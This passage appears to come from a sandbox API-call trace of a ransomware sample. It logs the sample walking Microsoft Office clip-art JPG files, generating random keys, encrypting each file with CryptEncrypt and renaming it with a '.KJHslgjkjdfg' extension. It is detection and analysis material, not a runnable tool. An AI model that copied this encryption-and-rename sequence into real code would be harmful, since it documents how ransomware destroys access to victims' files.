dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.681] SetEndOfFile (hFile=0x130) returned 1 [0201.684] GetProcessHeap () returned 0x990000 [0201.684] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.684] GetProcessHeap () returned 0x990000 [0201.684] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.684] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341561.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341561.jpg.kjhslgjkjdfg")) returned 1 [0201.685] CloseHandle (hObject=0x130) returned 1 [0201.685] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341634.JPG", cAlternateFileName="")) returned 1 [0201.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341634.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.686] GetProcessHeap () returned 0x990000 [0201.686] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.686] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.686] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.686] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x5, lpOverlapped=0x0) returned 1 [0201.698] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.698] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.698] GetProcessHeap () returned 0x990000 [0201.698] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.698] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.698] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.698] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.699] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.699] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.699] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.699] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.699] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.699] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.699] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.699] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.699] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1e7b, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1e7b, lpOverlapped=0x0) returned 1 [0201.700] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1e80, dwBufLen=0x1e80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1e80) returned 1 [0201.700] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.700] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1e80, lpOverlapped=0x0) returned 1 [0201.701] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.701] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.701] SetEndOfFile (hFile=0x130) returned 1 [0201.703] GetProcessHeap () returned 0x990000 [0201.704] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.704] GetProcessHeap () returned 0x990000 [0201.704] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.704] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341634.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341634.jpg.kjhslgjkjdfg")) returned 1 [0201.705] CloseHandle (hObject=0x130) returned 1 [0201.705] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3615, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341636.JPG", cAlternateFileName="")) returned 1 [0201.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341636.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.707] GetProcessHeap () returned 0x990000 [0201.707] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.707] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.707] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.707] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xb, lpOverlapped=0x0) returned 1 [0201.708] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.708] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.708] GetProcessHeap () returned 0x990000 [0201.708] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.709] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.709] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.709] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.709] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.709] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.709] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.709] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.709] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.709] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.709] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.709] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.709] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3615, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3615, lpOverlapped=0x0) returned 1 [0201.710] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3620, dwBufLen=0x3620 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3620) returned 1 [0201.710] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.710] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3620, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3620, lpOverlapped=0x0) returned 1 [0201.711] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.711] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x36f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.711] SetEndOfFile (hFile=0x130) returned 1 [0201.712] GetProcessHeap () returned 0x990000 [0201.713] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.713] GetProcessHeap () returned 0x990000 [0201.713] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.713] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341636.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341636.jpg.kjhslgjkjdfg")) returned 1 [0201.714] CloseHandle (hObject=0x130) returned 1 [0201.714] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2026, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341645.JPG", cAlternateFileName="")) returned 1 [0201.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341645.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.715] GetProcessHeap () returned 0x990000 [0201.715] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.716] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.716] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.716] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0201.717] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.717] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.717] GetProcessHeap () returned 0x990000 [0201.717] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.717] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.717] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.718] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.718] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.718] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.718] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.718] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.718] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.718] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.718] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.718] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.718] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2026, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2026, lpOverlapped=0x0) returned 1 [0201.719] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2030, dwBufLen=0x2030 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2030) returned 1 [0201.719] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.719] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2030, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2030, lpOverlapped=0x0) returned 1 [0201.719] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.719] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.719] SetEndOfFile (hFile=0x130) returned 1 [0201.721] GetProcessHeap () returned 0x990000 [0201.721] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.721] GetProcessHeap () returned 0x990000 [0201.721] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.722] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341645.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341645.jpg.kjhslgjkjdfg")) returned 1 [0201.723] CloseHandle (hObject=0x130) returned 1 [0201.723] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3df7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341653.JPG", cAlternateFileName="")) returned 1 [0201.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341653.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.724] GetProcessHeap () returned 0x990000 [0201.724] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.724] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.724] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.724] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x9, lpOverlapped=0x0) returned 1 [0201.726] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.726] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.726] GetProcessHeap () returned 0x990000 [0201.726] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.726] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.726] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.726] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.726] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.727] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.727] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.727] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.727] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.727] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.727] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.727] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.727] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3df7, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3df7, lpOverlapped=0x0) returned 1 [0201.728] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3e00, dwBufLen=0x3e00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3e00) returned 1 [0201.728] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.728] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3e00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3e00, lpOverlapped=0x0) returned 1 [0201.728] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.728] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.728] SetEndOfFile (hFile=0x130) returned 1 [0201.729] GetProcessHeap () returned 0x990000 [0201.729] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.729] GetProcessHeap () returned 0x990000 [0201.729] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.729] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341653.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341653.jpg.kjhslgjkjdfg")) returned 1 [0201.730] CloseHandle (hObject=0x130) returned 1 [0201.730] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d7f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341654.JPG", cAlternateFileName="")) returned 1 [0201.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341654.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, 